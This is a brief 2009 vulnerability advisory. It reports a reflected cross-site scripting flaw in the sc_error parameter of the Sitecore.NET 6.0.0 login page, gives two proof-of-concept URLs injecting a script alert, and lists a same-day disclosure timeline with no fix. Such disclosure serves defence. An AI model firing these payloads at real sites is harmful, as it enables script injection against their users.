SiteCore.NET - Cross Site Scripting Vulnerability Version Affected: 6.0.0 (rev. 090120) (We were unable to find out if this is the newest version or not). Info: It's an overpriced CMS for companies running IIS. Credits: InterN0T External Links: http://sitecore.net/ -:: The Advisory ::- Vulnerable Function / ID Calls: (XSS) sc_error Cross Site Scripting: http://www.website.tld/sitecore/login/default.aspx?sc_error=<script>aler t(0)</script> - You can input whatever you like in sc_error which will be echoed directly to the end-user as an error message. 2nd Cross Site Scripting: (example) http://www.website.tld/sitecore/login/default.aspx?sc_error=You do not have any rights to perform that action. <script>alert(0)</script> -:: Solution ::- Weren't able to make one nor did I bother to do so. Reference: http://forum.intern0t.net/intern0t-advisories/1082-intern0t-sitecore-net -6-0-0-cross-site-scripting-vulnerability.html Disclosure Information: - Vulnerability found and confirmed between 1st and 3rd June 2009. - SiteCore contacted the 3rd June 2009. - Published at InterN0T the 3rd June 2009. - Bugtraq contacted the 3rd June 2009. All of the best, MaXe